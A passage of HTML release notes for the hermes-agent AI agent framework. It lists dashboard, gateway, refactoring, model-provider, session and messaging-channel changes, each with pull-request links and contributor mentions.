<li>Japanese + Traditional Chinese language switching (<a href="https://github.com/NousResearch/hermes-agent/pull/40114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40114/hovercard">#40114</a>)</li>
<li>"Restart gateway" action (renamed from "Restart messaging") surfaced in the statusbar + on messaging save/toggle toasts; rendered logs are selectable/copyable (<a href="https://github.com/NousResearch/hermes-agent/pull/49094" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49094/hovercard">#49094</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Remote-gateway &amp; multi-profile</h3>
<ul>
<li><strong>Remote media relay</strong> — attach images/PDFs and display agent-written images over the network for the first time; remote-gateway file attachments via <code>file.attach</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41336" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41336/hovercard">#41336</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42634/hovercard">#42634</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Client + backend version buttons + remote-backend update flow; browse remote backend files; route global-remote profile REST calls; recover chat after sleep/wake by revalidating a stale remote backend (<a href="https://github.com/NousResearch/hermes-agent/pull/42181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42181/hovercard">#42181</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44326" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44326/hovercard">#44326</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47011" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47011/hovercard">#47011</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41350/hovercard">#41350</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Multi-profile fallout cleanup — WS auth + cross-profile session reads; release profile backends before delete; scope session list/model switch/timer per session (<a href="https://github.com/NousResearch/hermes-agent/pull/44529" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44529/hovercard">#44529</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42613" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42613/hovercard">#42613</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41103" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41103/hovercard">#41103</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41120/hovercard">#41120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41182/hovercard">#41182</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Stream subagent activity into watch windows; keep streaming painting in unfocused secondary chat windows; recover stranded session windows (<a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47919" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47919/hovercard">#47919</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47655" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47655/hovercard">#47655</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Full-featured profile builder (model + skills + MCPs); unify multi-profile management — one machine dashboard + global profile switcher; profile-scoped skills &amp; toolsets; session switcher panel on the Chat tab (<a href="https://github.com/NousResearch/hermes-agent/pull/39084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39084/hovercard">#39084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44007/hovercard">#44007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43808" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43808/hovercard">#43808</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49077/hovercard">#49077</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Skills hub browser rehaul — connected hubs, featured, preview + security scan; SKILL.md editor on Skills page + attach-skill selector in cron modals; full per-MCP catalog detail; full tool-backend config in the GUI (<a href="https://github.com/NousResearch/hermes-agent/pull/40384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40384/hovercard">#40384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44231/hovercard">#44231</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48520/hovercard">#48520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40418" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40418/hovercard">#40418</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Enable webhooks from the Webhooks page; idempotent <code>hermes dashboard register</code>; auto-restart gateway after Telegram QR onboarding; file browser; change UI font from the theme picker; reasoning-effort picker in the chat sidebar (<a href="https://github.com/NousResearch/hermes-agent/pull/44021" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44021/hovercard">#44021</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42455/hovercard">#42455</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43424" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43424/hovercard">#43424</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43512/hovercard">#43512</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41145" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41145/hovercard">#41145</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49141" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49141/hovercard">#49141</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>God-file refactor wave (run_agent.py / cli.py / gateway/run.py)</h3>
<ul>
<li><strong><code>cli.py</code> main() 3297 → 954 lines</strong> — extracted 28 subcommand parsers into <code>hermes_cli/subcommands/</code>, then promoted 9 closure handlers; 32 slash-command handlers → <code>CLICommandsMixin</code>; 18 model-flow wizard functions → <code>model_setup_flows</code>; agent-construction cluster → <code>CLIAgentSetupMixin</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41798" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41798/hovercard">#41798</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41835/hovercard">#41835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41942" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41942/hovercard">#41942</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42174/hovercard">#42174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42153" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42153/hovercard">#42153</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>gateway/run.py</code> 19157 → 15870 lines</strong> — 42 slash-command handlers → <code>GatewaySlashCommandsMixin</code>; authorization cluster → <code>GatewayAuthorizationMixin</code>; kanban watcher loops → <code>GatewayKanbanWatchersMixin</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41886" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41886/hovercard">#41886</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42159" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42159/hovercard">#42159</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41849" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41849/hovercard">#41849</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>run_agent.py</code> turn loop</strong> — extracted prologue into <code>TurnContext</code>, post-loop tail into <code>finalize_turn</code>, consolidated inner-retry-loop recovery flags into <code>TurnRetryState</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41778" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41778/hovercard">#41778</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42169/hovercard">#42169</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41828/hovercard">#41828</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Agent loop, prompt &amp; tools</h3>
<ul>
<li><strong><code>memory</code> batch operations</strong> — atomic add/replace/remove array against the final char budget, so a single call can free space and add entries (<a href="https://github.com/NousResearch/hermes-agent/pull/48507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48507/hovercard">#48507</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>search_files</code> lossless densification</strong> — headroom evaluation report + the one densification improvement worth shipping (fewer tokens per result, same matches) (<a href="https://github.com/NousResearch/hermes-agent/pull/47866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47866/hovercard">#47866</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Removed the agent-callable <code>send_message</code> tool; coding-context posture across CLI/TUI/desktop/ACP; <code>read_file</code> extracts <code>.ipynb</code>/<code>.docx</code>/<code>.xlsx</code> to text (<a href="https://github.com/NousResearch/hermes-agent/pull/47856" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47856/hovercard">#47856</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43316" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43316/hovercard">#43316</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37082" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37082/hovercard">#37082</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Context-file handling: configurable truncation limit + warnings; scale context-file cap to model window + point agent at the truncated file (<a href="https://github.com/NousResearch/hermes-agent/pull/47251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47251/hovercard">#47251</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47846" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47846/hovercard">#47846</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Compression: temporal anchoring in compaction summaries; raise compaction trigger to 85% for gpt-5.5 on Codex OAuth (<a href="https://github.com/NousResearch/hermes-agent/pull/41102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41102/hovercard">#41102</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40957/hovercard">#40957</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Adaptive middleware (consumed by NeMo-Relay observer telemetry); usable mid-turn steer — desktop affordance + trusted injection (<a href="https://github.com/NousResearch/hermes-agent/pull/29724" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29724/hovercard">#29724</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40240/hovercard">#40240</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Provider &amp; model support</h3>
<ul>
<li>New models: <code>z-ai/glm-5.2</code> (verified 1M context, OpenRouter + Nous), <code>anthropic/claude-fable-5</code>, <code>laguna-m.1</code> + <code>nemotron-3-ultra</code>, xAI Composer 2.5 in the OAuth picker; default xAI to <code>grok-build-0.1</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/47391" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47391/hovercard">#47391</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45695" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45695/hovercard">#45695</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42979" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42979/hovercard">#42979</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42629" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42629/hovercard">#42629</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47908/hovercard">#47908</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47371/hovercard">#47371</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Model picker: Refresh-Models control to bust stale cache; persist Nous recommended-models to disk + fall back on Portal failure; seed catalog disk cache from checkout on update; MiniMax-M3 reports true 1M context (<a href="https://github.com/NousResearch/hermes-agent/pull/48691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48691/hovercard">#48691</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42628" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42628/hovercard">#42628</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42614" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42614/hovercard">#42614</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43338" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43338/hovercard">#43338</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Anthropic adaptive models: default to modern thinking contract; never send <code>reasoning</code> field; route <code>reasoning_effort</code> to verbosity; require confirmation for very expensive selections (<a href="https://github.com/NousResearch/hermes-agent/pull/42991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42991/hovercard">#42991</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43012" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43012/hovercard">#43012</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43436" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43436/hovercard">#43436</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43391" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43391/hovercard">#43391</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auth: auto-detect OpenRouter credential from the pool; keep Codex OAuth pool accounts distinct on add/re-auth; resolve xAI OAuth across profiles + write rotated tokens back to root; honor <code>model.default_headers</code> for custom OpenAI-compatible providers (<a href="https://github.com/NousResearch/hermes-agent/pull/42263" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42263/hovercard">#42263</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42316" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42316/hovercard">#42316</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46614" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46614/hovercard">#46614</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41096" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41096/hovercard">#41096</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock falls back to non-streaming <code>InvokeModel</code> when IAM denies the streaming variant; Ollama default <code>max_tokens=65536</code>; surface model refusals as <code>content_filter</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/44293" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44293/hovercard">#44293</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41694" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41694/hovercard">#41694</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46013" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46013/hovercard">#46013</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions, state &amp; multi-agent</h3>
<ul>
<li>Optional <strong>max session cap</strong>; drop empty sessions on CLI exit and rotation; ACP session-provenance metadata for compression rotation (<a href="https://github.com/NousResearch/hermes-agent/pull/42389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42389/hovercard">#42389</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43855/hovercard">#43855</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41724" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41724/hovercard">#41724</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Delegation: resolve custom-endpoint subagent pools by endpoint identity; remove the default subagent wall-clock timeout; stop subagent completion lines leaking into parent CLI display (<a href="https://github.com/NousResearch/hermes-agent/pull/41730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41730/hovercard">#41730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45149/hovercard">#45149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44223/hovercard">#44223</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: config-gated auto-subscribe on <code>kanban_create</code>; machine-global singleton lock for the embedded dispatcher; pin assigned profile toolsets for workers; hold reclaim while worker still alive (<a href="https://github.com/NousResearch/hermes-agent/pull/48635" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48635/hovercard">#48635</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49068" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49068/hovercard">#49068</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45590/hovercard">#45590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49064" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49064/hovercard">#49064</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Memory: configurable Hindsight retain observation scopes; OpenViking setup UX; Honcho gateway-gated identity tree; Supermemory session-level ingest (<a href="https://github.com/NousResearch/hermes-agent/pull/46611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46611/hovercard">#46611</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48262" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48262/hovercard">#48262</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44431" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44431/hovercard">#44431</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38756/hovercard">#38756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
</ul>
<h2>📱 Messaging Platforms (Gateway)</h2>
<h3>New channels</h3>
<ul>
<li><strong>iMessage via Photon Spectrum</strong> — <code>hermes photon login</code> (device-code OAuth), gRPC-native channel (no webhook), markdown rendering, emoji reactions, outbound media via spectrum-ts (<a href="https://github.com/NousResearch/hermes-agent/pull/32348" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32348/hovercard">#32348</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42582/hovercard">#42582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44713" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44713/hovercard">#44713</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42397/hovercard">#42397</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>WhatsApp Business Cloud API</strong> adapter (official, no bridge process) (<a href="https://github.com/NousResearch/hermes-agent/pull/44331" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44331/hovercard">#44331</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43921" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43921/hovercard">#43921</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>SimpleX</strong> — groups, native attachments, text batching, auto-accept; <strong>Raft</strong> bundled platform plugin with activity hooks (<a href="https://github.com/NousResearch/hermes-agent/pull/42584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42584/hovercard">#42584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48210/hovercard">#48210</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Gateway core &amp; rendering</h3>
<ul>
<li>Render terminal tool calls as native bash code blocks on markdown platforms; bare fenced code blocks in chat; optional message timestamps for LLM context; configurable <code>tool_progress_grouping</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41215/hovercard">#41215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42576" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42576/hovercard">#42576</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47253" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47253/hovercard">#47253</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47228" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47228/hovercard">#47228</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Telegram: Bot API 10.1 rich messages (now always-on with opt-out); opt-in Online/Offline bot status indicator; stop cutting long streamed responses; MarkdownV2 on progress edits; gate oversized voice/audio before download (<a href="https://github.com/NousResearch/hermes-agent/pull/44829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44829/hovercard">#44829</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45584/hovercard">#45584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49134" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49134/hovercard">#49134</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43761" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43761/hovercard">#43761</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44245/hovercard">#44245</a> — <a class="user-mention notranslate" 